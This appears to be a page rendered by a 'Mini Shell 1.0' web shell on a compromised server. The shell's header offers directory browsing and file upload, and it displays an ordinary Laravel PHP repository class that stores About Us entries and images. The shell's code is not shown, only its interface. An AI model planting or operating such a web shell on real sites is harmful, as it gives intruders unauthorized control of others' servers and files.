HOME


Mini Shell 1.0
DIR: /home/cardxfeb/public_html/app/Repositories/
Upload File :
Current File : //home/cardxfeb/public_html/app/Repositories/AboutUsRepository.php
<?php

namespace App\Repositories;

use App\Models\AboutUs;
use Illuminate\Support\Facades\DB;
use Symfony\Component\HttpKernel\Exception\UnprocessableEntityHttpException;
use Illuminate\Support\Str;

/**
 * Class UserRepository
 */
class AboutUsRepository extends BaseRepository
{
    public function model(): string
    {
        return AboutUs::class;
    }

    public function getFieldsSearchable()
    {
        //
    }

    /**
     * @param $input
     * @param $UserId
     * @return mixed
     */
    public function store($inputs)
    {
        try {
            DB::beginTransaction();
            $index = 1;
            foreach ($inputs['title'] as $id => $input) {
                
                $slug = $inputs['language'] . '.about-us.' . $index;
                $aboutUs = AboutUs::where('slug', $slug)->first();
                $data = [
                    'slug' => $slug,
                    'language' => $inputs['language'],
                    'title' => $input,
                    'description' => $inputs['description'][$id],
                ];
                if($aboutUs){
                    $aboutUs->update($data);
                }else{
                    $aboutUs = AboutUs::create($data);
                }
                if (! empty($inputs['image']) && ! empty($inputs['image'][$id])) {
                    $aboutUs->clearMediaCollection(AboutUs::PATH);
                    $aboutUs->addMedia($inputs['image'][$id])->toMediaCollection(AboutUs::PATH,
                        config('app.media_disc'));
                }
                $index++;
                
            }

            DB::commit();

            return $aboutUs;
        } catch (\Exception $e) {
            DB::rollBack();

            throw new UnprocessableEntityHttpException($e->getMessage());
        }
    }

    public function fileUpload($aboutUs, $file)
    {
        $aboutUs->clearMediaCollection(AboutUs::PATH);
        $media = $aboutUs->addMedia($file)->toMediaCollection(AboutUs::PATH, config('app.media_disc'));
        $aboutUs->update(['value' => $media->getFullUrl()]);
    }
}